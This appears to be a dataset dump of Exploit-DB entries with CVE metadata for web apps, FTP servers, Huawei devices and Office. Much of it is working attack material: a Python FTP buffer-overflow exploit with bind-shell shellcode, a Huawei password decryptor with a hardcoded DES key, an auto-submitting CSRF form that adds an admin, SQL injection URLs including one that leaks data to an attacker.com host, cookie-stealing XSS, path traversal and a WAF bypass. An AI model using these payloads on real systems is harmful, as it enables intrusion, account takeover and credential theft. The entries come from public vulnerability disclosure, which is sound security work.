QLWD/code_shield huggingface dataset:
标题: ESRI ArcGIS for Server - 'where' SQL Injection EDB-ID: 38016 CVE: 2012-4949 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2012-11-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/56474/info

ESRI ArcGIS for Server is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ESRI ArcGIS for Server 10.1 is vulnerable; other versions may also be affected.

http://www.example.com:6080/arcgis/rest/services//query?f=json&where=featured%3Dtrue&returnGeometry=true&spatialRel=esriSpatialRelIntersects URL: https://www.exploit-db.com/exploits/38016
标题: AR Web Content Manager (AWCM) - 'cookie_gen.php' Arbitrary Cookie Generation EDB-ID: 38015 CVE: 2012-2437 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-08 漏洞利用脚本: source: https://www.securityfocus.com/bid/56465/info

AWCM is prone to an authentication-bypass and multiple security-bypass vulnerabilities.

Attackers can exploit these vulnerabilities to bypass certain security restrictions, perform unauthorized actions; which may aid in further attacks.

AWCM 2.2 is vulnerable; other versions may also be affected. 

Authentication Bypass:

http://www.example.com/awcm/cookie_gen.php?name=\'key\'&content=\'value\'
ex) http://targethost/awcm/cookie_gen.php?
name=awcm_member&content=123456

Security Bypass:

[form action=\"http://www.example.com/awcm/show_video.php?coment=exploit\"
method=\"post\"]
[input type=\"hidden\" name=\"coment\" value=\'insert
uninvited comments 2\' /]
[input type=\"submit\" value=\"Submit\"]
</form> URL: https://www.exploit-db.com/exploits/38015
标题: Huawei (Multiple Products) - Password Encryption EDB-ID: 38020 CVE: 2012-4960 类型: REMOTE 平台: HARDWARE 发布日期: 2012-11-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/56510/info

Multiple Huawei products are prone to a weak password encryption weakness.

Successful exploits may allow an attacker to decrypt stored passwords; this may aid in further attacks.

The following are vulnerable:

Huawei Quidway series
Huawei CX600 V600R001
Huawei CX600 V600R003C00SPC900
Huawei ME60 V600R002C07 and prior versions
AR 19/29/49 R2207 and prior versions 

from Crypto.Cipher import DES

def decode_char(c):
    if c == 'a':
        r = '?'
    else:
        r = c
    return ord(r) - ord('!')

def ascii_to_binary(s):
    assert len(s) == 24

    out = [0]*18
    i = 0
    j = 0

    for i in range(0, len(s), 4):
        y = decode_char(s[i + 0])
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 1])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 2])
        y = (y | k) & 0xffffff
        y = (y << 6) & 0xffffff

        k = decode_char(s[i + 3])
        y = (y | k) & 0xffffff

        out[j+2] = chr(y       & 0xff)
        out[j+1] = chr((y>>8)  & 0xff)
        out[j+0] = chr((y>>16) & 0xff)

        j += 3

    return "".join(out)

def decrypt_password(p):
    r = ascii_to_binary(p)

    r = r[:16]

    d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
    r = d.decrypt(r)

    return r.rstrip("\x00") URL: https://www.exploit-db.com/exploits/38020
标题: VeriCentre - Multiple SQL Injections EDB-ID: 38010 CVE: 2012-4951 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/56409/info

VeriCentre is prone to multiple SQL-injection vulnerabilities because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

VeriCentre versions prior to 2.2 build 36 are vulnerable. 

http://www.example.com/WebConsole/terminal/paramedit.aspx?TerminalId=%27%2bconvert%28int,@
@version%29%2b%27&ModelName=xxxx&ApplicationName=xxxx&ClusterId= URL: https://www.exploit-db.com/exploits/38010
标题: OrangeHRM - 'sortField' SQL Injection EDB-ID: 38011 CVE: 2012-5367 类型: WEBAPPS 平台: PHP 发布日期: 2012-11-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/56417/info

OrangeHRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

OrangeHRM 2.7.1-rc.1 is vulnerable; other versions may also be affected. 

http://www.example.com/symfony/web/index.php/admin/viewCustomers?sortOrder=ASC&sortField=(select load_file(CONCAT(CHAR(92),CHAR(92),(select version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHA R(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114 )))) URL: https://www.exploit-db.com/exploits/38011
标题: Wolf CMS - Arbitrary File Upload / Execution EDB-ID: 38000 CVE: 2015-6568 2015-6567 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-28 漏洞利用脚本: # Exploit Title    : Wolf CMS 0.8.2  Arbitrary File Upload To Command
Execution
# Reported Date    : 05-May-2015
# Fixed Date       : 10-August-2015
# Exploit Author   : Narendra Bhati
# CVE ID           : CVE-2015-6567 , CVE-2015-6568
# Contact:
* Facebook         : https://facebook.com/narendradewsoft
*Twitter           : http://twitter.com/NarendraBhatiB
# Website          : http://websecgeeks.com
# Additional Links -
* https://github.com/wolfcms/wolfcms/releases/
* https://www.wolfcms.org/blog/2015/08/10/releasing-wolf-cms-0-8-3-1.html

#For POC -
http://websecgeeks.com/wolf-cms-arbitrary-file-upload-to-command-execution/

1. Description

Every registered users who have access of upload functionality can upload
an Arbitrary File Upload To perform Command Execution

Vulnerable URL

http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

Vulnerable Parameter

"filename"


2. Proof of Concept

A)Login as regular user ( who have access upload functionality )

B)Go to this page  -
http://targetsite.com/wolfcms/?/admin/plugin/file_manager/browse/

C)Select upload an file option to upload Arbitary File ( filename ex:
"hello.php" )

D)Now you can access the file by here -
http://targetsite.com/wolfcms/public/hello.php


3. Solution:

Update to version 0.8.3.1
http://www.wolfcms.org/download.html

=============

-- 
*Narendra Bhati "CEH" **( Facebook
<http://www.facebook.com/narendradewsoft> , Twitter
<http://www.twitter.com/NarendraBhatiB> , LinkedIn
<https://www.linkedin.com/profile/view?id=115146074> , Personal Blog )*
*Security Analyst - IT Risk & Security Management Services*
Suma Soft Pvt. Ltd. | Suma Center | Near Mangeshkar Hospital | Erandawane
Pune: 411004 |

*======================================================================* URL: https://www.exploit-db.com/exploits/38000
标题: PCMan FTP Server 2.0.7 - 'RENAME' Remote Buffer Overflow EDB-ID: 38013 CVE: 2013-4730 类型: REMOTE 平台: WINDOWS 发布日期: 2015-08-29 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: PCMan's FTP Server v2.0 - RENAME command remote buffer overflow
# Date:  29 Aug 2015
# Exploit Author: Koby
# Vendor Homepage: http://pcman.openfoundry.org/
# Software Link: https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
# Version: 2.0.7
# Tested on: Windows XP SP3

import socket
import sys

# msfvenom -p windows/shell_bind_tcp lhost=192.168.1.130 lport=4444 -b '\x00\x0a\x0b\x27\x36\xce\xc1\x04\x14\x3a\x44\xe0\x42\xa9\x0d' -f ruby
# Payload size: 352 bytes
shellcode = (
"\x31\xc9\x83\xe9\xae\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76"
"\x0e\xb3\x93\xd2\x17\x83\xee\xfc\xe2\xf4\x4f\x7b\x50\x17"
"\xb3\x93\xb2\x9e\x56\xa2\x12\x73\x38\xc3\xe2\x9c\xe1\x9f" 
"\x59\x45\xa7\x18\xa0\x3f\xbc\x24\x98\x31\x82\x6c\x7e\x2b"
"\xd2\xef\xd0\x3b\x93\x52\x1d\x1a\xb2\x54\x30\xe5\xe1\xc4" 
"\x59\x45\xa3\x18\x98\x2b\x38\xdf\xc3\x6f\x50\xdb\xd3\xc6" 
"\xe2\x18\x8b\x37\xb2\x40\x59\x5e\xab\x70\xe8\x5e\x38\xa7" 
"\x59\x16\x65\xa2\x2d\xbb\x72\x5c\xdf\x16\x74\xab\x32\x62" 
"\x45\x90\xaf\xef\x88\xee\xf6\x62\x57\xcb\x59\x4f\x97\x92" 
"\x01\x71\x38\x9f\x99\x9c\xeb\x8f\xd3\xc4\x38\x97\x59\x16" 
"\x63\x1a\x96\x33\x97\xc8\x89\x76\xea\xc9\x83\xe8\x53\xcc" 
"\x8d\x4d\x38\x81\x39\x9a\xee\xfb\xe1\x25\xb3\x93\xba\x60" 
"\xc0\xa1\x8d\x43\xdb\xdf\xa5\x31\xb4\x6c\x07\xaf\x23\x92" 
"\xd2\x17\x9a\x57\x86\x47\xdb\xba\x52\x7c\xb3\x6c\x07\x7d" 
"\xbb\xca\x82\xf5\x4e\xd3\x82\x57\xe3\xfb\x38\x18\x6c\x73" 
"\x2d\xc2\x24\xfb\xd0\x17\xa2\xcf\x5b\xf1\xd9\x83\x84\x40" 
"\xdb\x51\x09\x20\xd4\x6c\x07\x40\xdb\x24\x3b\x2f\x4c\x6c" 
"\x07\x40\xdb\xe7\x3e\x2c\x52\x6c\x07\x40\x24\xfb\xa7\x79" 
"\xfe\xf2\x2d\xc2\xdb\xf0\xbf\x73\xb3\x1a\x31\x40\xe4\xc4" 
"\xe3\xe1\xd9\x81\x8b\x41\x51\x6e\xb4\xd0\xf7\xb7\xee\x16" 
"\xb2\x1e\x96\x33\xa3\x55\xd2\x53\xe7\xc3\x84\x41\xe5\xd5" 
"\x84\x59\xe5\xc5\x81\x41\xdb\xea\x1e\x28\x35\x6c\x07\x9e" 
"\x53\xdd\x84\x51\x4c\xa3\xba\x1f\x34\x8e\xb2\xe8\x66\x28" 
"\x22\xa2\x11\xc5\xba\xb1\x26\x2e\x4f\xe8\x66\xaf\xd4\x6b" 
"\xb9\x13\x29\xf7\xc6\x96\x69\x50\xa0\xe1\xbd\x7d\xb3\xc0" 
"\x2d\xc2")

# buffer overflow was found by fuzzing with ftp_pre_post (metasploit)
# bad data is a string of 2004 "A" characters to get to a EIP overwrite
# followed by the JMP ESP instruction 0x7cb48eed in SYSTEM32.dll
baddata = '\x41'*2004+'\xed\x8e\xb4\x7c'

# login to ftp followed by sending the bad data & payload
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.1.135',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('RENAME ' + baddata +'\x90'*50+ shellcode+ '\r\n')
s.close() URL: https://www.exploit-db.com/exploits/38013
标题: Axigen Mail Server - 'Filename' Directory Traversal EDB-ID: 37996 CVE: 2012-4940 类型: REMOTE 平台: WINDOWS 发布日期: 2012-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/56343/info

Axigen Mail Server is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied data.

A remote attacker could exploit this vulnerability using directory-traversal strings (such as '../') to obtain sensitive information, cause a denial of service condition, or execute arbitrary code with the privileges of the application. This could help the attacker launch further attacks. 

http://www.example.com/?h=44ea8a6603cbf54e245f37b4ddaf8f36&page=vlf&action=edit&fileName=..\..\..\windows\win.ini

http://www.example.com/source/loggin/page_log_dwn_file.hsp?h=44ea8a6603cbf54e245f37b4ddaf8f36&action=download&fileName=..\..\..\windows\win.ini URL: https://www.exploit-db.com/exploits/37996
标题: Invision Power Board (IP.Board) 4.x - Persistent Cross-Site Scripting EDB-ID: 37989 CVE: 2015-6810 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-27 漏洞利用脚本: # Exploit Title: IP.Board 4.X Stored XSS
# Date: 27-08-2015
# Software Link: https://www.invisionpower.com/
# Exploit Author: snop.
# Contact: http://twitter.com/rabbitz_org
# Website: http://rabbitz.org
# Category: webapps

1. Description

A registered or non-registered user can create a calendar event
including malicious JavaScript code who will be permanently stored in
the pages source.

2. Proof of Concept

http://URL_TO_FORUM/calendar/submit/?calendar=1

POST:
Affected Paramter: event_location[address][]

3. Solution

Update to version 4.0.12.1
https://community.invisionpower.com/release-notes/40121-r22/

Disclosure Timeline
27.07.15: Vendor notified
05.08.15: Fix released
27.08.15: Public disclosure URL: https://www.exploit-db.com/exploits/37989
标题: SolarWinds Orion IP Address Manager (IPAM) - 'search.aspx' Cross-Site Scripting EDB-ID: 37995 CVE: 2012-4939 类型: WEBAPPS 平台: ASP 发布日期: 2012-10-31 漏洞利用脚本: source: https://www.securityfocus.com/bid/56342/info

SolarWinds Orion IP Address Manager (IPAM) is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SolarWinds Orion IP Address Manager (IPAM) 3.0 is affected; other versions may also be vulnerable. 

http://www.example.com/Orion/IPAM/search.aspx?q=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28%27hi%27%29%3C%2Fscript%3E URL: https://www.exploit-db.com/exploits/37995
标题: Microsoft Office 2007 - Malformed Document Stack Buffer Overflow EDB-ID: 37967 CVE: 2015-0064 类型: DOS 平台: WINDOWS 发布日期: 2015-08-25 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=170&can=1

The following access violation was observed in Microsoft Office 2007
(Word document):

(e24.e28): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0583a748 ebx=00eb4684 ecx=003ad1a3 edx=00000000 esi=049860bc edi=00122238
eip=7814500a esp=001221e0 ebp=001221e8 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010212
MSVCR80!memcpy+0x5a:
7814500a f3a5            rep  movsd ds:049860bc=???????? es:00122238=3348bcd8
0:000> k
ChildEBP RetAddr
001221e8 31249c0e MSVCR80!memcpy+0x5a
00122204 3126a371 wwlib!FMain+0x565f
00122220 3203de3c wwlib!FMain+0x25dc2
00122268 320dab4c wwlib!DllCanUnloadNow+0x56a6bb
00122280 31fc363f wwlib!DllGetClassObject+0x9c88a
0012229c 31f9acde wwlib!DllCanUnloadNow+0x4efebe
001222b4 31f9b0e5 wwlib!DllCanUnloadNow+0x4c755d
00122308 31bd68c2 wwlib!DllCanUnloadNow+0x4c7964
001223bc 3201a69b wwlib!DllCanUnloadNow+0x103141
00122a68 3129f4eb wwlib!DllCanUnloadNow+0x546f1a
00123b68 3129e8e5 wwlib!FMain+0x5af3c
00123bac 32073906 wwlib!FMain+0x5a336
00126d28 32073627 wwlib!DllGetClassObject+0x35644
0012b14c 32073294 wwlib!DllGetClassObject+0x35365
0012b19c 3209ac20 wwlib!DllGetClassObject+0x34fd2
0012e2f8 3208c781 wwlib!DllGetClassObject+0x5c95e
0012e31c 31314684 wwlib!DllGetClassObject+0x4e4bf
0012f580 320e04b7 wwlib!FMain+0xd00d5
0012f630 320e037f wwlib!DllGetClassObject+0xa21f5
0012f648 32812493 wwlib!DllGetClassObject+0xa20bd

Notes:

- Reproduces on Windows Server 2003 and Windows 7

- The crash occurs due to a memcpy with an invalid source buffer.

- The invalid source buffer is actually indicative of an invalid size
being used in a pointer calculation at 3126A360 (wwlib.dll
12.0.6707.5000). This invalid size can also be seen in ecx at the time
of access violation.

- The large size parameter can result in a stack-based buffer overflow.

- Alternatively, if the copy operation succeeds (by using a size value
large enough to result in an out-of-bounds source buffer, but not so
large to cause an access violation during copy), then it is also
possible to get an arbitrary free from later usage of controlled
pointers in the destination buffer.

- The crashing test case was created using a chunk reordering
strategy, and does not cleanly minimize (106 bit change from original
file).

- Attached files: 86ea4a3c_crash.rtf (crashing file),
86ea4a3c_orig.doc (original file)

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37967.zip URL: https://www.exploit-db.com/exploits/37967
标题: Microsoft Office 2007 - OneTableDocumentStream Invalid Object EDB-ID: 37966 CVE: 2015-0065 类型: DOS 平台: WINDOWS 发布日期: 2015-08-25 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=171&can=1

The following access violation was observed in Microsoft Office 2007
(Word document):

(8c0.e68): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0012dcf8 ebx=40000000 ecx=40000000 edx=0012de1c esi=40000000 edi=011f1400
eip=32881800 esp=0012d010 ebp=0012d038 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
mso!Ordinal7799+0x2fc:
32881800 0fb74614         movzx eax,word ptr [esi+0x14] ds:0023:40000014=????
0:000> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
0012d038 328a0a4e mso!Ordinal7799+0x2fc
0012ddd8 328a0a2c mso!Ordinal4388+0x1bc
0012dde4 320c337c mso!Ordinal4388+0x19a
0012de2c 320c330f wwlib!DllGetClassObject+0x850ba
0012de74 312db32b wwlib!DllGetClassObject+0x8504d
0012df1c 312dadf8 wwlib!FMain+0x96d7c
0012df84 312da84c wwlib!FMain+0x96849
0012e074 6be51b27 wwlib!FMain+0x9629d
0012e114 6be5c65b MSPTLS!FsDestroyMemory+0x1ee4e
0012e28c 6be5c94c MSPTLS!FsDestroyMemory+0x29982
0012e2d8 6be36d59 MSPTLS!FsDestroyMemory+0x29c73
0012e344 6be37f87 MSPTLS!FsDestroyMemory+0x4080
0012e450 6be4e8eb MSPTLS!FsDestroyMemory+0x52ae
0012e4e0 6be4f1ff MSPTLS!FsDestroyMemory+0x1bc12
0012e584 6be4f362 MSPTLS!FsDestroyMemory+0x1c526
0012e624 6be4f5cc MSPTLS!FsDestroyMemory+0x1c689
0012e7d8 6be35d9f MSPTLS!FsDestroyMemory+0x1c8f3
0012e8ec 6be630b5 MSPTLS!FsDestroyMemory+0x30c6
0012e970 6be40ee2 MSPTLS!FsDestroyMemory+0x303dc
0012e9e4 6be63a7a MSPTLS!FsDestroyMemory+0xe209

Notes:

- Reproduce on Windows Server 2003 and Windows 7.

- The crash occurs due to an invalid read dereference of a bad object
pointer. If the word value read is controlled and set to a value other
than 0xFFFF, then a controlled value is used as an indirect call
target (at 328A1DD4 in MSO.dll 12.0.6683.5000).

- The bad object pointer is passed in to MSO.dll from wwlib.dll
(second argument of function at 328A0A16 in MSO.dll 12.0.6683.5000).

- The test-case reduces to a 50-bit difference from the original
sample document.

- The affected bits lie in the OneTableDocumentStream's data section,
as well as as PlcfSed's aCP[0] field and PNFKPPAPX[44]'s pn field.

- The copy operation at 3126A36C (wwlib.dll 12.0.6707.5000) uses a
source buffer from the OneTableDocumentStream's data section, and
copies this invalid data into a stack buffer. The bad object pointer
comes from this stack-based structure.

- Attached files: 037542f7_crash.rtf (crashing file),
037542f7_orig.doc (original file). A test case with full control of
the crashing register value (0xAAAAAAAA) is also attached
(037542f7_full.doc)

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/37966.zip URL: https://www.exploit-db.com/exploits/37966
标题: Pligg CMS 2.0.2 - Cross-Site Request Forgery (Add Admin) EDB-ID: 37955 CVE: 2015-6655 类型: WEBAPPS 平台: PHP 发布日期: 2015-08-24 漏洞利用脚本: <!--
# Exploit Title: Pligg CMS CSRF Add Admin Exploit
# Google Dork: intext:"Made wtih Pligg CMS"
# Date: 2015/8/20
# Exploit Author: Arash Khazaei
# Vendor Homepage: http://pligg.com
# Software Link:
https://github.com/Pligg/pligg-cms/releases/download/2.0.2/2.0.2.zip
# Version: 2.0.2
# Tested on: Kali , Iceweasel Browser
# CVE : CVE-2015-6655
# Contact : http://twitter.com/0xClay
# Mail : 0xclay@gmail.com
# Site : http://bhunter.ir

# Description :

# Pligg CMS Is A CMS Written In PHP Language And Licensed Under GPL V 2.0
# In Pligg CMS Panel In Adding Users Section Pligg CMS Allow To Attacker
Add Admin By CSRF
# Vulnerability In Add Users Sections . Another Thing Is Added Admin By
CSRF Vulnerability
# Can't Deleted By Admin :) And Admin Should Delete It From Database .

# Exploit :
-->
<body onload="document.exploit.submit();">
<form action="http://localhost/pligg-cms-master/admin/admin_users.php"
method="post" id="createUserForm" name="exploit" onsubmit="return
checkValidation()">
<input name="username" type="text" class="form-control" id="username"
value="hacker"  onchange="checkUsername(this.value)" />
<input name="email" type="text" class="form-control" id="email" value="
hacker@hacker.com" onchange="checkEmail(this.value)"/>
<select name="level">
<option value="admin">Admin</option>
</select>
<input name="password" type="text" class="form-control" id="password"
value="hacker123" onchange="checkPassword(this.value)"/>
<input type="hidden" name="mode" value="newuser">
<input type="submit" class="btn btn-primary" value="Create User"/>

</form>
<!--

Timeline :
21/5/2015 Reported To Developer Team .
22/5/2015 No Responde From Developer Team.
22/5/2015 Request CVE
23/5/2015 Published Vulnerability


# Note: Change The Values Of Exploit To Another Thing :)

# Discovered By Arash Khazaei . (Aka JunkyBoy (Nick Name Changed :P ))

--> URL: https://www.exploit-db.com/exploits/37955
标题: ModSecurity - 'POST' Security Bypass EDB-ID: 37949 CVE: 2012-4528 类型: REMOTE 平台: LINUX 发布日期: 2012-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/56096/info

ModSecurity is prone to a security-bypass vulnerability because it fails to sufficiently sanitize user-supplied input.

Successful exploits can allow attackers to bypass filtering rules; this may aid in further attacks.

ModSecurity 2.6.8 is vulnerable; other versions may also be affected. 

Proof of concept:
-----------------

wut.php:
--------

<? echo $POST[xxx] ?>


POST request:
-------------

POST /wut.php HTTP/1.1
Content-Type: multipart/form-data; boundary=A
Content-Length: 161

--A
Content-Disposition: form-data; name="xxx"[\r][\r][\n]
--A
Content-Disposition: form-data; name="yyy"; filename="z"

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

--A--


Output:
-------

1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--

(any change in the header should produce a 403)d URL: https://www.exploit-db.com/exploits/37949
标题: jCore - '/admin/index.php?path' Cross-Site Scripting EDB-ID: 37950 CVE: 2012-4231 类型: WEBAPPS 平台: PHP 发布日期: 2012-10-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/56102/info

jCore is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may exploit these issues to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

jCore 1.0pre and prior versions are vulnerable. 

http://www.example.com/admin/?path=%27%20onmouseover%3dalert%28document.cookie%29%20%27 URL: https://www.exploit-db.com/exploits/37950
标题: SenseSites CommonSense CMS - 'id' SQL Injection EDB-ID: 37940 CVE: 2012-5342 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/55893/info

CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/cat2.php?id=1 [SQL Injection] URL: https://www.exploit-db.com/exploits/37940
标题: Litespeed Web Server - 'gtitle' Cross-Site Scripting EDB-ID: 37947 CVE: 2012-4871 类型: REMOTE 平台: MULTIPLE 发布日期: 2012-03-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/55946/info

LiteSpeed Web Server is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

LiteSpeed Web Server 4.1.11 and prior versions are vulnerable. 

http://www.exxample.com/service/graph_html.php?gtitle=VHOSTa%3Cscript%3Ealert%28document.cookie%29%3C/script%3E URL: https://www.exploit-db.com/exploits/37947
标题: SenseSites CommonSense CMS - 'special.php?id' SQL Injection EDB-ID: 37941 CVE: 2012-5342 类型: WEBAPPS 平台: PHP 发布日期: 2012-01-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/55893/info
 
CommonSense CMS is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
 
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 
 http://www.example.com/special.php?id=1 [SQL Injection] URL: https://www.exploit-db.com/exploits/37941